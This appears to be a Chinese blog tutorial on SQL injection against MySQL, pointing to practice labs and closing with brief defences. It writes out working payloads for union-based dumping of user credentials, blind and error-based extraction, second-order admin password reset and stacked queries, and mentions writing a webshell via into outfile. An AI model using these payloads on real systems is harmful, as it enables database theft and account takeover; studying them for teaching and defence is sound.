sql注入

简单的sql注入笔记:

一、sql注入

sql注入(sql injection)被称为sql数据库结构化查询,是由于程序员在编写代码时的不严谨所造成的漏洞,它能让外部人员通过sql语句,查询到数据库的重要内容,容易造成数据泄露,隐私文件被读取,财产损失等。

sql注入条件:

1.参数用户可控:前端传给后端的参数用户可控。

2.参数带入数据库查询:传入的参数拼接到SQL语句中,且带入数据库中查询

只要存在着两个条件,就有可能产生sql注入漏洞。现在市面上的数据库类型有Access,mysql,mssql,PostgreSQL,Oracle,sqlite,mangodb,MariaDB等,这些种类的数据库只要后台人员代码编写不严谨,都容易出现sql注入,这里就简单的说一下现在毕竟流行的mysql数据库的sql注入(其他除了mangodb数据库有较大的差别外,都差不多)

二、关于mysql数据库的sql注入

提示:在练习mysql数据库的sql注入时,大家可以找寻网上的靶场进行相关练习,如dvwa,pikachu,bwapp,sqli-libs等靶场,都能很好的还原一些sql漏洞的注入。

话不多说,直接上硬货!

1.sql注入步骤

在站点后面输入参数+值查询,观察回显报错,再根据报错判断是何种数据库类型,这里可以用工具(wappalyzer)来查看网站的架构是什么,因为不同的web服务器和开发语言所搭配的数据库有些也是绑定的,比如asp.net+iis服务器的话,多半是用的mssql数据库。

先输入?id=1和?id=1’,查看区别,判读是字符型注入还是数字型注入,如果是字符型注入则需要闭合单引号,如果是数字型注入则不需要闭合(这跟平常搞开发和写代码一样,变量和数字加不加单引号的区别),然后输入and 1=1 和and 1=2来判断究竟是什么型注入

然后猜字段:?id=1’ order by *–+判断字段数为多少(–+为注释后面的语句,形成闭合,后面有个空格)(字符型注入需要闭合,数字型注入不需要闭合),然后我们就可以用联合查询查看回显位有对少个了,这有利于我们构造payload。

后面就可以开始查询数据库版本和名字,还有表名,列名,用户名和密码等重要数据

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z9T7WuWR-1635236471212)(C:\Users\io\Pictures\sql\0.png)]

在查询的时候,我们可以用到一些聚合函数来进行多个数据的查询,group_concat,concat_wa,concat:

concat

功能:将多个字符串连接成一个字符串。

语法:concat(str1, str2,…)

返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null(例如:select concat(a,b)from * ,结果则为 ab)

concat_ws:

功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)

语法:concat_ws(separator, str1, str2, …)

说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。

group_concat():

前言:在有group by的查询语句中,select指定的字段要么就包含在group by语句的后面,作为分组的依据,要么就包含在聚合函数中

功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )

说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号.

2.sql注入之sql盲注

前言:盲注的意思是当你输入sql语句进行注入的时候,查询正确返回一种值,查询错误返回一种报错,盲注又分为布尔盲注和时间盲注。

布尔盲注:

查询数据库名字:1’ and left((select database()),1)=‘w’–+ 1’ and left((select database()),1)<‘s’–+,在这个payload中,有left()函数,其实还有right()函数,left、right函数返回ARG最左边、右边的length个字符串,ARG可以是CHAR或BINARY STRING,关于盲注其实还有许多函数,例如substr()函数,limit()函数。

substr(字符串,截取开始位置,截取长度) //返回截取的字(0和1都是表示截取的开始位置为第一个字符)

limit()有两种方式。
1)limit a,b 后缀两个参数的时候(/参数必须是一个整数常量/),其中a是指记录开始的偏移量,b是指从第a+1条开始,取b条记录。
2)limit b 后缀一个参数的时候,是直接取值到第多少位,类似于:limit 0,b 。(limit不支持sqlserver)。

filefile(file:\\数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令是filefile系列函数来进行读取敏感文件或者写入webshell
extractvalue() :对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用

标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)

时间盲注:

查询用户名和密码:‘ and if(left((select username from users order by id limit 0,1),4)=‘xxx’,sleep(3),1)
(1)updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(2)updatexml(xml_target,xpath_expr,new_xml)
(3)xml_target:原来的xml,也就是要替换的目标;
(4)xpath_expr:xpath的表达式;
(5)new_xml :替换后的xml;
(6)这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
在注入时,’ or updatexml(1,concat(’#’,(mmm)),1)#
这时,mmm就是我们需要用到的子句了。
’ or updatexml(1,concat(’#’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)),1)#

2.其实注入还可以分为get注入和post注入,requests注入,cookie注入,header注入等,其实只要懂得了get注入和post注入,其他的注入就差不多融会贯通了

上面所演示的就是get型注入,get型注入和post型注入的区别就是,get型注入是通过get方式提交数据,可以在url地址栏进行修改,而post注入则是通过表单加密的方式提交数据,不会再url里面显示,get注入型的sql注入,再最后面注释要用–,而post注入的话,最后面要用#注释,不能用–注释不然会报错,如法炮制,cookie注入和header注入,referer注入这些在相应的请求头里面添加payload构造报错就可以了

步骤:

查字段名: ‘) order by 3#,查表名:0admin’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)#
爆字段名::0admin’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’)#
爆所有数据:0admin’ union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#

sql的二次注入:如果登录界面存在注册新用户,我们可以注册一个admin’#,在修改密码处我们就可以用自己的密码修改admin的密码了。
Sql语句变为UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’ # ’ AND password=’
也就是执行了UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’

addslashes()函数会在单引号前加一个\ 例如:I’m hacker 传入addslashes(),得到:I’m hacker

堆叠注入:
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)分号我们可以加入注入的新的语句?id=1’;create table test like users;%23
mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化

order by (通过sort 查询)来进行注入:
那首先我们通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入
为什么说他是order by注入 因为在源代码中是这样的 $sql = “SELECT * FROM users ORDER BY $id”;order by 后的数字可以作为一个注入点
利用一些函数。例如rand()函数等。?sort=rand(sql语句);直接添加注入语句,?sort=(select ******)
CEILING 函数返回大于或等于所给数字表达式的最小整数。FLOOR 函数返回小于或等于所给数字表达式的最大整数,例如,对于数字表达式 12.9273,CEILING 将返回 13,FLOOR 将返回 12

正则表达式注入:
如:?sort=1 ^(select(select version()) regexp ‘^5’)

二、sql注入的防护

因为sql注入的危害性特别大,并且常年位于owasptop10里面的前三位置,所以我们针对sql注入要进行一定的防护措施,其实当我们了解到了sql注入的原理后,防护起来就简单的多了。

1.过滤敏感字符:

我们可以把sql注入的一些关键字符进行注释和转义,使他不再具有原先的含义,如:"’’","#",“order by”,")","–",“and”,"or"等具有特殊含义的字符。

2.PDO防止sql注入:

来就简单的多了。

1.过滤敏感字符:

我们可以把sql注入的一些关键字符进行注释和转义,使他不再具有原先的含义,如:"’’","#",“order by”,")","–",“and”,"or"等具有特殊含义的字符。

2.PDO防止sql注入:

使用PDO访问MySQL数据库时,真正的real prepared statements 默认情况下是不使用的。为了解决这个问题,你必须禁用 prepared statements的仿真效果,参数和值分开查询,让sql注入无处可下手。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值